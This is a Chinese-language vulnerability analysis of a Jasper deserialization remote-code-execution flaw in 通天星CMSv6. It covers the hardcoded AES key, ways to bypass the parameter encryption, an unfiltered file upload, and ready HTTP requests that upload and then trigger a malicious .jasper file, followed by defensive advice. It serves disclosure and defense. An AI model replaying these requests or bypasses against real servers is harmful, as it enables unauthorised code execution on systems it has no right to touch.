通天星CMSv6 Japser反序列化漏洞分析
字数 1348 2025-08-22 18:37:14
通天星CMSv6 Jasper反序列化漏洞分析与利用教学
一、漏洞概述
通天星CMSv6存在Jasper反序列化漏洞,攻击者可通过上传恶意.jasper文件并触发反序列化操作实现远程代码执行。该漏洞影响版本:
- 上传接口在7.33.0.7_20240508及其以下版本有效
- 反序列化链条在最新版7.34.0.7_20240719版本仍然存在
二、漏洞分析
2.1 路由参数加密机制
2.1.1 参数加密过程
通天星CMS的部分路由需要加密参数才能正常请求,否则会返回错误:
param_must_encry/参数必须加密参数,result响应1- 若result响应2则表示该路由需要登录后才能访问
加密实现位于public.js中的encrypt函数,使用AES ECB模式加密:
function encrypt(word, key) {
if (!word) { return ''; }
var key = CryptoJS.enc.Utf8.parse(key);
var srcs = CryptoJS.enc.Utf8.parse(word);
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.toString();
}
密钥通过getKey()函数获取,硬编码为ttx123456Aes1234:
var webParseKey = '';
function getKey() {
if (webParseKey) { return webParseKey; }
var ret = "ttx";
var str = "Aes1234";
webParseKey = ret + getNumberKey() + str;
return webParseKey;
}
2.1.2 参数加密绕过方法
-
使用OPTIONS方法请求:在
DecryptFilter.doFilter()中,OPTIONS方法请求或包含ttxdownload头的请求可绕过加密检查 -
静态资源路径绕过:
isStaticResource()方法检查的路径可绕过加密:public final boolean isStaticResource(String url) { if (StringUtils.isBlank(url)) return false; else if (!Objects.equal("/", url) && !url.startsWith("/ws") && !url.startsWith("/wss") && !url.startsWith("/h5/") // 其他静态资源路径检查... ) { // 检查文件后缀 } else { return true; } } -
路径遍历绕过:利用Tomcat解析特性,如
/ws/..;/StandardPositionAction_refreshGpsStatus.action
2.2 Jasper反序列化链条
2.2.1 漏洞触发点
StandardLineAction.report()方法中,未过滤的name参数直接传入createReport():
public void report() {
String name = this.getRequestString("name"); // 未过滤的用户输入
// ...
ReportPrint print = this.getReportCreate().createReport(name); // 触发漏洞
// ...
}
2.2.2 反序列化流程
getReportCreate()获取ReportCreater实例createReport()调用_createReport()_createReport()调用getJasperReport(reportKey)getJasperReportFromFile()拼接路径读取.jasper文件JRLoader.loadObject()执行反序列化操作
关键反序列化代码:
public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
if (file.exists() && file.isFile()) {
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bufferedIn = new BufferedInputStream(fis);
ContextClassLoaderObjectInputStream ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
obj = ois.readObject(); // 反序列化执行点
}
}
2.3 文件上传接口
方式一:FTP上传
7.33.0.7_20240508以前版本默认开启FTP服务(端口2121),允许匿名访问(空用户名和密码)
方式二:FileUploadAction上传
FileUploadAction.upload()存在不安全文件上传:
public void upload() {
for (int i = 0; i < this.uploadFileFileName.size(); ++i) {
String fileName = (String)this.uploadFileFileName.get(i); // 未过滤文件名
FileOutputStream fos = new FileOutputStream("C:\\" + fileName); // 直接写入C盘根目录
// ...
}
}
三、漏洞利用
3.1 上传恶意Jasper文件
使用FileUploadAction_upload.action接口上传:
POST /com.framework.web.action.FileUploadAction_upload.action HTTP/1.1
Host: target:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvl1q2bEhAS3C02LB
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFile"; filename="exploit.jasper"
Content-Type: application/octet-stream
<恶意jasper文件内容>
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFileFileName"
exploit.jasper
------WebKitFormBoundaryvl1q2bEhAS3C02LB--
3.2 触发反序列化
使用OPTIONS方法绕过参数加密触发:
OPTIONS /StandardLineAction_report.action?name=C:\\exploit&id=10&direct=0 HTTP/1.1
Host: target:port
四、防御建议
- 升级到最新版本并应用安全补丁
- 禁用匿名FTP访问
- 对上传文件进行严格校验:
- 文件类型检查
- 文件内容校验
- 限制上传目录
- 对JasperReport反序列化操作添加安全校验
- 加强参数过滤和加密机制
五、总结
该漏洞利用链涉及:
- 不安全的文件上传
- 未加密参数绕过
- JasperReport反序列化漏洞
利用此漏洞攻击者可在目标系统上执行任意代码,危害严重。建议用户及时采取防护措施。